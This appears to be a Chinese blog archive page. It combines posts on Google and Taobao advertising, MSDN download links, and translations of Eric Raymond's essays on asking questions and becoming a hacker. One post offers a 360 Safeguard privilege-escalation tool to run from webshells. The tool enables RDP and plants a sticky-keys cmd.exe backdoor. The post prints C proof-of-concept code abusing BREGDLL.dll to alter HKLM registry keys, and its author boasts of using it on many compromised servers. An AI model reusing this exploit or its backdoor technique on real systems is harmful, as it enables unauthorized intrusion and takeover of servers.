nordstrom.com

onetravel.com*

priceline.com

sears.com

shopzilla.com

target.com

travelocity.com

zappos.com

————————–

比较有意思的可以看到Google自己居然也是自己的广告主之一(排在11位)。也就是说,Google在自己的搜索引擎中在推广自己的产品(bing也是这个情况)。

Google和淘宝很类似,产品线长,盈利模式已出售流量为主。本来对自己的一些新产品流量导入完全可以通过人工去做,比如在首页放链接,在rank中人工介入……但Google并没有这么去做,即使是自己的资源,也得让自己的产品推广进入整个竞价市场,和所有广告主一起玩。

这个也是我一直在淘宝想推动的事情。这样做到底有什么好处呢?在这里简单列一下:

  1. 尽可能地维持了市场的稳定和公平

    人工介入的资源倾斜往往首先伤害到了客户的利益,或者由于这样的倾斜产生了一些新的不公平的利益点,而这样人掌控的资源倾斜正是走向腐败的第一步。

  2. 成本核算

    让每个产品线和财务清晰地意识到自己的产品线占用了多少流量资源。如果一个网站的页面资源说用就用,没有市场化的反馈和参与,那KPI的成本就不清晰了,特别是对google和淘宝这样以流量价值为核心的公司,一个产品的宣传入口,究竟价值多少,通过这样的方式就能很清晰地进行计算。在财务控制上也可以按照预算的方式科学分配。这个的高阶反应就是:每个业务部门在花这些推广预算时,都需要考虑到在广告位上的优化,因为流量资源也需要成本了。而目前的现状就是达成KPI,就到处导入流量,不计算成本和效果的转化。

  3. 定向投放

    既然有了优化的概念,公司的部门在投放的时候就会考虑到targeting的问题。我的这个产品到底是给哪些目标客户看,哪些受众最容易受影响,我多少预算应该花费在哪个市场segment上,这些问题才会进入产品GTM的计划中,而现在经常能看到一些运营活动直接投放在search结果页面时,没有任何targeting,一个男装活动的banner出现在任何搜索结果页中,这是很大的资源浪费,同时也是比较糟糕的购物体验。而广告平台本身具备的targeting能力,可以让业务部门在投放的时候有的放矢,很轻松地做好营销工作。

Google这样的做法很令人欣赏,这样的方式不单从资源的角度上最大化了价值,控制了自己产品推广成本,而且也保护了广告主客户的利益和浏览客户的体验。目前淘宝的广告体系和联盟已经有了相对比较完善的平台支持,将这样的方法引入应该是时候了。通过广告平台实现网站资源位的统一管理,不单单财务上可以有很好的把控,相信对提升运营效率,提高客户体验都会有很大帮助。

转自http://blog.simba.taobao.com/?p=184

奇虎360安全卫士服务器提权

不知道该说什么好了,以前拿了很多shell,一直懒得提权,一是没那个必要,二是提权太累了,三是服务器类型的肉鸡多了也没啥用。不过要是能让我一下子就成功提权,何乐而不为呢?

于是360本地提权来了,最近已经沸沸扬扬的了,不多发表过多评论,只是觉得做公司更要厚道;本人菜另外还有很多兄弟在360,不说什么了,发了本地提权的利用程序吧。friddy那里已经有一份了,是用来替换5下shift为cmd.exe的:360本地提权webshell下测试程序

瑞星说是“bregdrv.sys和bregdll.dll”出的问题,然后http://www.sebug.net/exploit/19048/这个poc也是直接load这个dll的,于是这个利用程序也是基于这个的。webshell下使用,guest权限即可,需要Wscript.shell支持,功能主要是:

1.开启终端服务,端口为3389;用法:360.exe port

2.替换5下shift为cmd;用法:360.exe sethc

另外大家可以参考下包子的文章:360 0day漏洞及相关内幕,360很多dll存在类似的调用问题。据360的公告介绍已经打补丁了,具体是真是假,大家自己试试这个工具还能不能用吧。

这个工具不针对任何公司和个人,仅限爱好渗透的同学们进行交流。话说昨天从下午到晚上,我2、3年来拿到的仍然健在的shell的满足3389打开与安装了360安全卫士的服务器我都提了一下权,发现360在服务器的普及率也高的惊人,至少有80%,怪不得大家都提权提的爽死了,于是乎,很多肉鸡终于找到家了。

现在终于知道服务器类型的肉鸡的好处了,一是用来上线;二是用来摆放垃圾未备案域名;三是用来跑密码…看来之前轻视了。

演示:

奇虎360安全卫士服务器提权 - dark clout - 小男生_博客

(注:本图片只限学习,拒绝按此方法进行破坏或者瑞星公司拿此图片作为炒作)

下载:http://www.oldjun.com/download/360.exe

奇虎360安全卫士本地提权漏洞后门利用程序

#include <windows.h>

typedef BOOL (WINAPI *INIT_REG_ENGINE)();
typedef LONG (WINAPI *BREG_DELETE_KEY)(HKEY hKey, LPCSTR lpSubKey);
typedef LONG (WINAPI *BREG_OPEN_KEY)(HKEY hKey, LPCSTR lpSubKey, PHKEY phkResult);
typedef LONG (WINAPI *BREG_CLOSE_KEY)(HKEY hKey);
typedef LONG (WINAPI *REG_SET_VALUE_EX)(HKEY hKey, LPCSTR lpValueName, DWORD Reserved, DWORD dwType, const BYTE* lpData, DWORD cbData);

BREG_DELETE_KEY BRegDeleteKey = NULL;
BREG_OPEN_KEY BRegOpenKey = NULL;
BREG_CLOSE_KEY BRegCloseKey = NULL;
REG_SET_VALUE_EX BRegSetValueEx = NULL;

#define AppPath                        "Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\\360safe.exe"

#define TestDeleteKey             HKEY_LOCAL_MACHINE
#define TestDeleteRegPath    "Software\\360Safe\\Update"

#define TestSetKey                   HKEY_LOCAL_MACHINE
#define TestSetPath                  "Software\\360Safe"

BOOL InitBRegDll()
{
         LONG lResult;
         HKEY hKey;

         CHAR cPath[MAX_PATH + 32] = { 0 };
         DWORD dwPathLen = MAX_PATH;

         lResult = RegOpenKeyA(HKEY_LOCAL_MACHINE, AppPath, &hKey);
         if (FAILED(lResult))
                  return FALSE;

         DWORD dwType = REG_SZ;
         lResult = RegQueryValueExA(hKey, "Path", NULL, &dwType, (LPBYTE)cPath, &dwPathLen);
         RegCloseKey(hKey);
         if (FAILED(lResult))
                  return FALSE;

         strcat(cPath, "\\deepscan\\BREGDLL.dll");

         HMODULE modBReg = LoadLibraryA(cPath);
         if (!modBReg)
                  return FALSE;

         INIT_REG_ENGINE InitRegEngine = (INIT_REG_ENGINE)GetProcAddress(modBReg, "InitRegEngine");
         BRegDeleteKey = (BREG_DELETE_KEY)GetProcAddress(modBReg, "BRegDeleteKey");
         BRegOpenKey = (BREG_OPEN_KEY)GetProcAddress(modBReg, "BRegOpenKey");
         BRegCloseKey = (BREG_CLOSE_KEY)GetProcAddress(modBReg, "BRegCloseKey");
         BRegSetValueEx = (REG_SET_VALUE_EX)GetProcAddress(modBReg, "BRegSetValueEx");

         if (!InitRegEngine || !BRegDeleteKey || !BRegOpenKey || !BRegCloseKey || !BRegSetValueEx) {
                  FreeLibrary(modBReg);
                  return FALSE;
         }

         if (!InitRegEngine()) {
                  FreeLibrary(modBReg);
                  return FALSE;
         }

         return TRUE;
}

LONG TestSetRegKey()
{
         HKEY hKey;
         LONG lResult;

         lResult = BRegOpenKey(TestSetKey, TestSetPath, &hKey);
         if (FAILED(lResult))
                  return lResult;

         DWORD dwType = REG_SZ;
         static char szData[] = "TEST VALUE";
         lResult = BRegSetValueEx(hKey, TestSetPath, NULL, dwType, (const BYTE *)&szData, (DWORD)sizeof(szData));
         BRegCloseKey(hKey);

         return lResult;
}

int main(int argc, char *argv[])
{
         if (!InitBRegDll()) {
                  MessageBoxA(NULL, "初始化BReg失败!", "失败", MB_ICONSTOP);
                  return 1;

         }
         if (FAILED(BRegDeleteKey(TestDeleteKey, TestDeleteRegPath))) {
                  MessageBoxA(NULL, "键值删除失败!", "失败", MB_ICONSTOP);
                  return 2;

         }

         if (FAILED(TestSetRegKey())) {
                  MessageBoxA(NULL, "设置键值失败!", "失败", MB_ICONSTOP);
                  return 3;
         }

         MessageBoxA(NULL, "突破系统安全检查,获得最高权限,漏洞利用成功!", "成功", MB_OK);
         return 0;
}

2010.02.05

程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!

MSDN

        

CD1:

http://howard.whxr.com/FILES/VS6MSDN/cd1.rar

CD2:

http://howard.whxr.com/FILES/VS6MSDN/cd2.iso
MSDN 6.0高速免费下载地址!
MSDN 6.0高速稳定免费下载地址2006.2.1更新!
Visual Studio6.0中英文高速稳定免费下载地址+Service Pack6!
Visual Studio .Net 2003中英文高速稳定免费下载地址!
Visual Basic6.0免费
Visual C++免费
MSDN for Visual Studio 6.0高速下载地址!

通过网络获取知识的秘诀(转)

提问的智慧

  在黑客世界里,当提出一个技术问题时,你能得到怎样的回答?这取决于挖出答案的难度,同样取决于你提问的方法。本指南旨在帮助你提高发问技巧,以获取你最想要的答案。

  首先你必须明白,黑客们只偏爱艰巨的任务,或者能激发他们思维的好问题。 如若不然,我们还来干吗?如果你有值得我们反复咀嚼玩味的好问题,我们自会对你感激不尽。好问题是激励,是厚礼,可以提高我们的理解力,而且通常会暴露我们以前从没意识到或者思考过的问题。对黑客而言,“问得好!”是发自内心的大力称赞。

  尽管黑客们有蔑视简单问题和不友善的坏名声,有时看起来似乎我们对新手,对知识贫乏者怀有敌意,但其实不是那样的。

  我们不想掩饰对这样一些人的蔑视–他们不愿思考,或者在发问前不去完成他们应该做的事。这种人只会谋杀时间–他们只愿索取,从不付出,无端消耗我们的时间,而我们本可以把时间用在更有趣的问题或者更值得回答的人身上。 我们称这样的人为“失败者”(由于历史原因,我们有时把它拼作“lusers”)。

  我们在很大程度上属于志愿者,从繁忙的生活中抽出时间来解惑答疑,而且时常被提问淹没。所以我们无情的滤掉一些话题,特别是抛弃那些看起来象失败者的家伙,以便更高效的利用时间来回答胜利者的问题。

  如果你觉得我们过于傲慢的态度让你不爽,让你委屈,不妨设身处地想想。我们并没有要求你向我们屈服–事实上,我们中的大多数人最喜欢公平交易不过了,只要你付出小小努力来满足最起码的要求,我们就会欢迎你加入到我们的文化中来。但让我们帮助那些不愿意帮助自己的人是没有 意义的。如果你不能接受这种“歧视”,我们建议你花点钱找家商业公司签个技术支持协议得了,别向黑客乞求帮助。

  如果你决定向我们求助,当然不希望被视为失败者,更不愿成为失败者中的一员。立刻得到有效答案的最好方法,就是象胜利者那样提问 —— 聪明、自信、有解决问题的思路,只是偶尔在特定的问题上需要获得一点帮助。

  (欢迎对本指南提出改进意见。任何建议请E-mail至[email protected],然而 请注意,本文并非网络礼节的通用指南,我通常会拒绝无助于在技术论坛得到有用答案的建议。) (当然,如果你写中文,最好还是寄[email protected];-)

= 提问之前 =

  在通过电邮、新闻组或者聊天室提出技术问题前,检查你有没有做到:

1. 通读手册,试着自己找答案。

2. 在FAQ里找答案(一份维护得好的FAQ可以包罗万象:)。

3. 在网上搜索(个人推荐google~~~)。

4. 向你身边精于此道的朋友打听。

  当你提出问题的时候,首先要说明在此之前你干了些什么;这将有助于树立你的形象:你不是一个妄图不劳而获的乞讨者,不愿浪费别人的时间。如果提问者能从答案中学到东西,我们更乐于回答他的问题。

  周全的思考,准备好你的问题,草率的发问只能得到草率的回答,或者根本得不到任何答案。越表现出在寻求帮助前为解决问题付出的努力,你越能得到实质性的帮助。

  小心别问错了问题。如果你的问题基于错误的假设,普通黑客(J. Random Hacker)通常会用无意义的字面解释来答复你,心里想着“蠢问题…”,希望着你会从问题的回答(而非你想得到的答案)中汲取教训。

  决不要自以为够资格得到答案,你没这种资格。毕竟你没有为这种服务支付任何报酬。你要自己去“挣”回一个答案,靠提出一个有内涵的,有趣的,有思维激励作用的问题–一个对社区的经验有潜在贡献的问题,而不仅仅是被动的从他人处索要知识–去挣到这个答案。

  另一方面,表明你愿意在找答案的过程中做点什么,是一个非常好的开端。“谁能给点提示?”、“我这个例子里缺了什么?”以及“我应该检查什么地方?”比“请把确切的过程贴出来”更容易得到答复。因为你显得只要有人指点正确的方向,你就有完成它的能力和决心。

= 怎样提问 =

– 谨慎选择论坛

  小心选择提问的场合。如果象下面描述的那样,你很可能被忽略掉或者被看作失败者:

1. 在风马牛不相及的论坛贴出你的问题

2. 在探讨高级技巧的论坛张贴非常初级的问题;反之亦然

3. 在太多的不同新闻组交叉张贴

– 用辞贴切,语法正确,拼写无误

  我们从经验中发现,粗心的写作者通常也是马虎的思考者(我敢打包票)。 回答粗心大意者的问题很不值得,我们宁愿把时间耗在别处。

  正确的拼写,标点符号和大小写很重要。

  更一般的说,如果你的提问写得象个半文盲,你很有可能被忽视。

  如果你在使用非母语的论坛提问,你可以犯点拼写和语法上的小错–但决不能在思考上马虎(没错,我们能弄清两者的分别)

– 使用含义丰富,描述准确的标题

  在邮件列表或者新闻组中,大约50字以内的主题标题是抓住资深专家注意力 的黄金时机。别用喋喋不休的“帮帮忙”(更别说“救命啊!!!!!”这 样让人反感的话)来浪费这个机会。不要妄想用你的痛苦程度来打动我们, 别用空格代替问题的描述,哪怕是极其简短的描述。

  蠢问题: 救命啊!我的膝上机不能正常显示了!

  聪明问题: XFree86 4.1下鼠标光标变形,Fooware MV1005的显示芯片。

  如果你在回复中提出问题,记得要修改内容标题,表明里面有一个问题。一个看起来象“Re:测试”或者“Re:新bug”的问题很难引起足够重视。另外,引用并删减前文的内容,给新来的读者留下线索。

– 精确描述,信息量大

1. 谨慎明确的描述症状。

2. 提供问题发生的环境(机器配置、操作系统、应用程序以及别的什么)。

3. 说明你在提问前是怎样去研究和理解这个问题的。

4. 说明你在提问前采取了什么步骤去解决它。

5. 罗列最近做过什么可能有影响的硬件、软件变更。

  尽量想象一个黑客会怎样反问你,在提问的时候预先给他答案。

  Simon Tatham写过一篇名为《如何有效的报告Bug》的出色短文。强力推荐你也读一读。

– 话不在多

  你需要提供精确有效的信息。这并不是要求你简单的把成吨的出错代码或者数据完全转储摘录到你的提问中。如果你有庞大而复杂的测试条件,尽量把它剪裁得越小越好。

  这样做的用处至少有三点。第一,表现出你为简化问题付出了努力,这可以使你得 到回答的机会增加;第二,简化问题使你得到有用答案的机会增加;第三,在提炼 你的bug报告的过程中,也许你自己就能找出问题所在或作出更正。

– 只说症状,不说猜想

  告诉黑客们你认为问题是怎样引起的没什么帮助。(如果你的推断如此有效,还用向别人求助吗?),因此要确信你原原本本告诉了他们问题的症状,不要加进你自己的理解和推论。让黑客们来诊断吧。

蠢问题: 我在内核编译中一次又一次遇到SIG11错误,我怀疑某条飞线搭在主板的走线上了,这种情况应该怎样检查最好?

聪明问题: 我自制的一套K6/233系统,主板是FIC-PA2007 (VIA Apollo VP2芯片组),256MB Corsair PC133 SDRAM,在内核编译中频频产生SIG11错误,从开机20分钟以后就有这种情况,开机 前20分钟内从没发生过。重启也没有用,但是关机一晚上就又能工作20分钟。所有 内存都换过了,没有效果。相关部分的典型编译记录如下…。

– 按时间顺序列出症状

  对找出问题最有帮助的线索,往往就是问题发生前的一系列操作,因此,你的说明 应该包含操作步骤,以及电脑的反应,直到问题产生。

  如果你的说明很长(超过四个段落),在开头简述问题会有所帮助,接下来按时间顺序详述。这样黑客们就知道该在你的说明中找什么。

– 明白你想问什么

  漫无边际的提问近乎无休无止的时间黑洞。最能给你有用答案的人也正是最忙的人(他们忙是因为要亲自完成大部分工作)。这样的人对无节制的时间黑洞不太感冒,因此也可以说他们对漫无边际的提问不大感冒。

  如果你明确表述需要回答者做什么(提供建议,发送一段代码,检查你的补丁或是别的),就最有可能得到有用的答案。这会定出一个时间和精力的上限,便于回答者集中精力来帮你,这很凑效。要理解专家们生活的世界,要把专业技能想象为充裕的资源,而回复的时间则是贫乏的资源。解决你的问题需要的时间越少,越能从忙碌的专家口中掏出答案。

  因此,优化问题的结构,尽量减少专家们解决它所需要的时间,会有很大的帮助–这通常和简化问题有所区别。因此,问“我想更好的理解X,能给点提示吗?”通常比问“你能解释一下X吗?”更好。如果你的代码不能工作,问问它有什么地方不对,比要求别人替你修改要明智得多。

– 别问应该自己解决的问题

  黑客们总是善于分辨哪些问题应该由你自己解决;因为我们中的大多数都曾自己解决这类问题。同样,这些问题得由你来搞定,你会从中学到东西。你可以要求给点提示,但别要求得到完整的解决方案。

– 去除无意义的疑问

  别用无意义的话结束提问,例如“有人能帮我吗?”或者“有答案吗?”。 首先:如果你对问题的描述不很合适,这样问更是画蛇添足。其次:由于这 样问是画蛇添足,黑客们会很厌烦你–而且通常会用逻辑上正确的回答来表 示他们的蔑视,例如:“没错,有人能帮你”或者“不,没答案”。

– 谦逊绝没有害处,而且常帮大忙

彬  彬有礼,多用“请”和“先道个谢了”。让大家都知道你对他们花费时间义务提供帮助心存感激。然而,如果你有很多问题无法解决,礼貌将会增加你得到有用答案的机会。

  (我们注意到,自从本指南发布后,从资深黑客处得到的唯一严重缺陷反馈,就是对预先道谢这一条。一些黑客觉得“先谢了”的言外之意是过后就不会再感谢任何人了。我们的建议是:都道谢。)

– 问题解决后,加个简短说明

  问题解决后,向所有帮助过你的人发个说明,让他们知道问题是怎样解决的,并再一次向他们表示感谢。如果问题在新闻组或者邮件列表中引起了广泛关注,应该在那里贴一个补充说明。补充说明不必很长或是很深入;简单的一句“你好,原来是网线出了问题!谢谢大家–Bill”比什么也不说要强。事实上,除非结论真的很有技术含量,否则简短可爱的小结比长篇学术论文更好。说明问题是怎样解决的,但大可不必将解决问题的过程复述一遍。除了表示礼貌和反馈信息以外,这种补充有助于他人在邮件列表/新闻组/论坛中搜索对你有过帮助的完整解决方案,这可能对他们也很有用。最后(至少?),这种补充有助于所有提供过帮助的人从中得到满足感。如果你自己不是老手或者黑客,那就相信我们,这种感觉对于那些你向他们求助的导师或者专家而言,是非常重要的。问题久拖未决会让人灰心;黑客们渴望看到问题被解决。好人有好报,满足他们的渴望,你会在下次贴出新问题时尝到甜头。

– 还是不懂

  如果你不是很理解答案,别立刻要求对方解释。象你以前试着自己解决问题时那样(利用手册,FAQ,网络,身边的高手),去理解它。如果你真的需要对方解释,记得表现出你已经学到了点什么。比方说,如果我回答你:“看来似乎是zEntry被阻塞了;你应该先清除它。”,然后:一个很糟的后续问题:“zEntry是什么?” 聪明的问法应该是这样:“哦~~~我看过帮助了但是只有-z和-p两个参数中提到了zEntry而且还都没有清楚的解释:<你是指这两个中的哪一个吗?还是我看漏了什么?”

= 三思而后问 =

以下是几个经典蠢问题,以及黑客在拒绝回答时的心中所想:

问题:我能在哪找到X程序?

问题:我的程序/配置/SQL申明没有用

问题:我的Windows有问题,你能帮我吗?

问题:我在安装Linux(或者X)时有问题,你能帮我吗?

问题:我怎么才能破解root帐号/窃取OP特权/读别人的邮件呢?

提问:我能在哪找到X程序?

回答:就在我找到它的地方啊蠢货–搜索引擎的那一头。天呐!还有人不会用Google吗?

提问:我的程序(配置、SQL申明)没有用

回答:这不算是问题吧,我对找出你的真正问题没兴趣–如果要我问你二十个问题才找得出来的话–我有更有意思的事要做呢。

在看到这类问题的时候,我的反应通常不外如下三种:

1. 你还有什么要补充的吗?

2. 真糟糕,希望你能搞定。

3. 这跟我有什么鸟相关?

提问:我的Windows有问题,你能帮我吗?

回答:能啊,扔掉萎软的垃圾,换Linux吧。

提问:我在安装Linux(或者X)时有问题,你能帮我吗?

回答:不能,我只有亲自在你的电脑上动手才能找到毛病。还是去找你当地的Linux用户组寻求手把手的指导吧(你能在这儿找到用户组的清单)。

提问:我怎么才能破解root帐号/窃取OP特权/读别人的邮件呢?

回答:想要这样做,说明你是个卑鄙小人;想找个黑客帮你,说明你是个白痴!

= 好问题,坏问题 =

  最后,我举一些例子来说明,怎样聪明的提问;同一个问题的两种问法被放在一起,一种是愚蠢的,另一种才是明智的。

蠢问题:我可以在哪儿找到关于Foonly Flurbamatic的资料?

// 这种问法无非想得到“STFW”这样的回答。

聪明问题:我用Google搜索过“Foonly Flurbamatic 2600”,但是没找到有用的结果。谁知道上哪儿去找对这种设备编程的资料?

// 这个问题已经STFW过了,看起来他真的遇到了麻烦。

蠢问题:我从FOO项目找来的源码没法编译。它怎么这么烂?

// 他觉得都是别人的错,这个傲慢自大的家伙

聪明问题:FOO项目代码在Nulix 6.2版下无法编译通过。我读过了FAQ,但里面没有提到跟Nulix有关的问题。这是我编译过程的记录,我有什么做得不对的地方吗?

// 他讲明了环境,也读过了FAQ,还指明了错误,并且他没有把问题的责任推到别人头上,这个家伙值得留意。

蠢问题:我的主板有问题了,谁来帮我?

// 普通黑客对这类问题的回答通常是:“好的,还要帮你拍拍背和换尿布吗?” ,然后按下删除键。

聪明问题:我在S2464主板上试过了X、Y和Z,但没什么作用,我又试了A、B和C。请注意当我尝试C时的奇怪现象。显然边带传输中出现了收缩,但结果出人意料。在多处理器主板上引起边带泄漏的通常原因是什么?谁有好主意接下来我该做些什么测试才能找出问题?

// 这个家伙,从另一个角度来看,值得去回答他。他表现出了解决问题的能力,而不是坐等天上掉答案。

  在最后一个问题中,注意“告诉我答案”和“给我启示,指出我还应该做什么诊断工作”之间微妙而又重要的区别。事实上,后一个问题源自于2001年8月在Linux内核邮件列表上的一个真实的提问。我(Eric)就是那个提出问题的人。我在Tyan S2464主板上观察到了这种无法解释的锁定现象,列表成员们提供了解决那一问题的重要信息。

  通过我的提问方法,我给了大家值得玩味的东西;我让人们很容易参与并且被吸引进来。我显示了自己具备和他们同等的能力,邀请他们与我共同探讨。我告诉他们我所走过的弯路,以避免他们再浪费时间,这是一种对他人时间价值的尊重。后来,当我向每个人表示感谢,并且赞赏这套程序(指邮件列表中的讨论 –译者注)运作得非常出色的时候,一个Linux内核邮件列(lkml)成员表示,问题得到解决并非由于我是这个列表中的“名人”,而是因为我用了正确的方式来提问。我们黑客从某种角度来说是拥有丰富知识但缺乏人情味的家伙;我相信他是对的,如果我象个乞讨者那样提问,不论我是谁,一定会惹恼某些人或者被他们忽视。他建议我记下这件事,给编写这个指南的人一些指导。

= 找不到答案怎么办 =

  如果仍得不到答案,请不要以为我们觉得无法帮助你。有时只是看到你问题的人不知道答案罢了。没有回应不代表你被忽视,虽然不可否认这种差别很难区分。

  总的说来,简单的重复张贴问题是个很糟的想法。这将被视为无意义的喧闹。

  你可以通过其它渠道获得帮助,这些渠道通常更适合初学者的需要。有许多网上的以及本地的用户组,由狂热的软件爱好者(即使他们可能从没亲自写过任何软件)组成。通常人们组建这样的团体来互相帮助并帮助新手。

  另外,你可以向很多商业公司寻求帮助,不论公司大还是小(Red Hat 和LinuxCare 就是两个最常见的例子)。别为要付费才能获得帮助而感到沮丧!毕竟,假使你的汽车发动机汽缸密封圈爆掉了–完全可能如此–你还得把它送到修车铺,并且为维修付费。就算软件没花费你一分钱,你也不能强求技术支持总是免费的。

  对大众化的软件,就象Linux之类而言,每个开发者至少会有上万名用户。根本不可能由一个人来处理来自上万名用户的求助电话。要知道,即使你要为帮助付费,同你必须购买同类软件相比,你所付出的也是微不足道的(通常封闭源代码软件的技术支持费用比开放源代码软件要高得多,且内容也不那么丰富)。

Copyright (C) 2001 by Eric S. Raymond

中文版 Copyleft 2001 by D.H.Grand(nOBODY/Ginux)

英文版:http://www.tuxedo.org/~esr/faqs/smart-questions.html

如何成为一位 hacker

    这真是一个好问题, 不止是原作者说他被问过很多次, 包括我和许多网络上的朋友们也常有这个困扰. 不过和作者不同的是, 我经常没有一个固定的答案 :p

    事实上我所能提供也只是自己的经验, 却没有足够的能力来肯定自己的看法是不是正确的. 这份文章应该可以减去大家不少的麻烦 🙂

    嗯!! 这次自告奋勇当起翻译, 虽然是起于晚上回到住的地方之后很无聊, 可以用来打发时间. 不过我翻了百行之后, 越翻越后悔. 主要是因为面有一些句子实在很难翻译, 这大概是因为我的英文底子不太好的关系吧!! 好不容易, 终于是翻完了. 为让句子更通顺或者是个人误解, 翻译后和原文有些出入, 这方面还请各位大大见谅. 🙂

Thinker

————————————————————————–

如何成为一位 hacker

为何有这份文件?

    身为 Jargon File 的编辑, 常有一些网络新手发 mail 问我 "如何成为一个厉害的hacker?". 但, 很奇怪的, 似乎没有任何的 FAQs 或 Web documents 说明这么重要的问题, 所以我写了一份我自己的看法.

    如果你是以 offline 的方式在看这一份文件的某一个版本, 那么你可以在

    http://www.ccil.org/~esr/faqs/hacker-howto.html

找到这份文件的目前最新版本.

怎么样才算是一位 Hacker ??

    在 Jargon File 有一堆关于 `hacker’ 这个名词的定义, 大部份必须是技术上的行家或热衷于解决问题, 克服限制的人. 然而, 如果你想知道如何成为一位 hacker,有两件事是很有关连的.

    这可以追溯到几十年前第一台 minicomputer 刚诞生, ARPAnet 实验也刚展开的时代. 那时有一个由程序设计专家和网络名人所组成的, 具有分享特质的文化族群.这种文化的成员创造了 `hacker’ 这个名词. 这些 Hacker 建立了 Internet,创造出我们现在使用的 UNIX 操作系统, 他们也使 Usenet 运作起来, 并且让 WorldWide Web 动起来. 如果你是这个文化的一部分, 如果你对这些种种有所供献, 而且这个文化的其它成员也认识你, 并称你为 hacker, 那么你就是一位 hacker.

    在精神上, hacker 并不单指(限制于)这种软件 hacker 的文化. 有人也把 hacker的特质发挥在其它领域, 例如: 电子或者音乐方面. 事实上你会发现, 在任何一种科学或艺术的最高境界, 你都可以发现 hacker 的特质. 软件 hacker 们认为,那些类似的精神也都可以称为 "hacker". 有些人还主张 hacker 的通性是独立于任何媒介之上的, 不特别属于任何一种 hacker 所在的环境. 但是, 在这份文件,我们将把重点放在软件 hacker 们所需的技能、态度和发明 `hacker’ 这个词的分享文化的传统.

    在另一个团体, 他们的成员也很大声的称自己为 hacker, 但是他们不是真的 hacker.这些人(大部分是男性青年)专门闯入电脑和入侵电话系统, 真正的 hacker 们称他们为 `cracker’, 并且不愿意和他们在一些做任何事. hacker 们认为这些人都是懒惰, 不负责, 并且不够光明正大的, 并且认为能破解安全系统并不能使你成为一位hacker. 但是很不幸的, 很多记者和作家不明究理的使用 `hacker’ 这个字来描述

cracker 们; 这让真的 hacker 们很忿怒.

    基本上, hacker 和 cracker 之间最主要的不同是: hacker 们创造新东西,cracker 们破坏东西.

    如果你想要成为一位 hacker, 继续读下去吧. 如果你是想要成为一位 cracker, 那么就去读 alt.2600 newsgroup 并准备在你发现自己并不如想像中那么行时, 给自己一点评价. 所有关于 cracker 的事情就只有这些了.

Hacker 态度

    Hacker 们解决了问题并创造新东西, 他们相信自由并自愿的互相帮助. 想要被别人接受成为一位 hacker, 你必须发自内心的表现出这种态度. 为了要很自发的表现出这种态度, 你就必须先完全认同这些态度.

    如果你只是把学习 hacker 态度这件事当作一种能在这个文化赢得认同的途径,那么你己经乎略了真正的重点. 由衷的接受这些态度是很这要的, 这能帮助你学习并维持你的动机. 就像那些具创造性的艺术一样, 成为一位大师的最有效方法是学习大师们的精神; 并不只是学习知识和情绪而己.

    所以, 如果你想要成为一位 hacker, 请反复的做下面的事情, 直到你完全领会它们:

1. 这世上充满著等著被解决的迷人问题.

    作为一个 hacker 是充满快乐的, 但这是一种因为努力得到成果所带来的快乐. 努力的成果则带来动机. 成功的运动家的动机则来自于, 使他们的身体不断进化,并把自己推向物理上的极限所带来的快乐. 类似的情形, 要成为 hacker, 你必须要能从解决问题, 精进技术, 和运用知识的过程中感受到一种悸动.

    如果你不是天生就能感受到这种悸动的人, 那么, 为了要成为 hacker, 你必须使自己变成这样的人. 否则, 你会发现你的 hacking energy 就会像性, 金钱, 和社交活动一样, 因为分心而被消磨掉.

    (你也必须为你的学习能力建立一种信念直到你完成你的工作 — 即使你只处理一小部份, 而你也不知道你到底还要学些什么东西才有辨法解决你的问题, 但是你会努力学习, 准备充足, 以应付下一个问题.)

2. 没有任何人必须一再的解决同一个问题.

    富创造力的头脑是贵重而有限的资源. 有这么多迷人的新问题在那等著被解决.因此富创造力的头脑不该被浪费的用来重复发明轮子.

    身为一位 hacker, 你必须了解到其它 hacker 们的时间也是很宝贵的 — 所以,分享资讯, 解决问题和提供解决方案给其它 hacker 以解决新的问题, 这些几乎算是道义上的责任.

    ( 即使 hacker 们所拥有的大多是从其它 hacker 的身上得来的, 但这并不意谓你必需把你创造的作品全部交出来, 你可以卖出足够数量的产品, 以求得温饱, 给付房租和买电脑设备, 这和 hacker 的价值观并不相违背. 使用你的 hacking 技能以供给一个家庭的生活, 甚至是致富, 只要你仍不忘记你是一位 hacker, 那么这些行为并不会产生予盾. )

3. 无聊而单调的工作是有害的.

    Hacker 们(有创造力的人也是一样)永远不该做一些无聊而单调并且愚蠢的反复性工作. 因为, 如果这样的事情发生的话, 这表示他们正在做一些不是他们该做的事– 解决新的问题. 这样的浪费对任何人而言都是一种伤害. 无聊单调的工作不只是无趣而己, 而且是一种有害的物质.

    要做为一位 hacker 要能尽可能的自动避免无聊, 对此你必须有相当的认知. 这不只是为了你自己而已, 也是为了所有的人(尤其是其它的 hacker).

    (这有一些例外. 有时侯 hacker 们会去做一些被认为无聊或重复性的工作, 当做脑力的训练, 或是为了要学习得某种技能或某种你所没有的特殊经验. 不过这是一种选择, 任何人都不该被强迫面对无聊事. )

4. 自由才好.

    hacker 们天性上是反对独裁的. 任何一个给你命令的人就能给你一个独裁式的工作,并且可以给你一些笨的可以的理由, 停止你解决任何吸引著你的问题. 所以任何独裁式的行为都会被挑战, 以免会危害到你和其它的 hacker 们.

    (这和为反对而反对是不同的, 小孩子是需要被指导和阻止他们犯错. hacker 也会同意接受某些权威, 照著指示做以较短的时间得到他想要的. 不过那是一种有限且理性的协定; ….. )

    专制在监察和保密这些事上是很有效的方法. 这些行使专制的人并不相信自愿性质的合作和资讯分享 — 他们只相信在他们控制之下的合作关系. 所以, 身为一位 hacker,你必具有一种敌对的天性, 以对抗监察, 秘密和使用外力强迫或迷惑可以信任的人等行为. 你必须以互信做为你行为的基础.

5. 态度并非不等效于能力

    要成为一位 hacker, 你必须开始培养这些态度. 但, 如果你只是单独的模仿某一种态度, 这并不能使你成为一位真正的 hacker, 也不会使你成为一位运动冠军或摇滚明星.

    因此, 你必须学会猜疑态度和尊敬各种能力. Hacker 们不会想浪费时间在虚华的人的身上, 他们尊敬的是能力 — 特别是身为 hacker 的能力, 但对于其它方面的能力也是充满敬意. 如果有能力追求一些很少人能弄懂的技术,追求精神上的技巧, 并能集中精神, 那就再好不过了.

    如果你尊敬各种的能力, 那么你就会乐于自己发展这些能力 — 这会使的努力工作和奉献成为一种剌激性的消遣而非一份苦差事. 这对于想要成为 hacker 的人而言, 是很重要的.

一位 Hacker 所需的基本技能

    hacker 的精神态度是很重要的, 但技术则更是重要. hacker 的态度虽然是无可取代,但在梦想别的 hacker 开始也叫你 hacker 前, 有些基本的工具和技术是必备的.

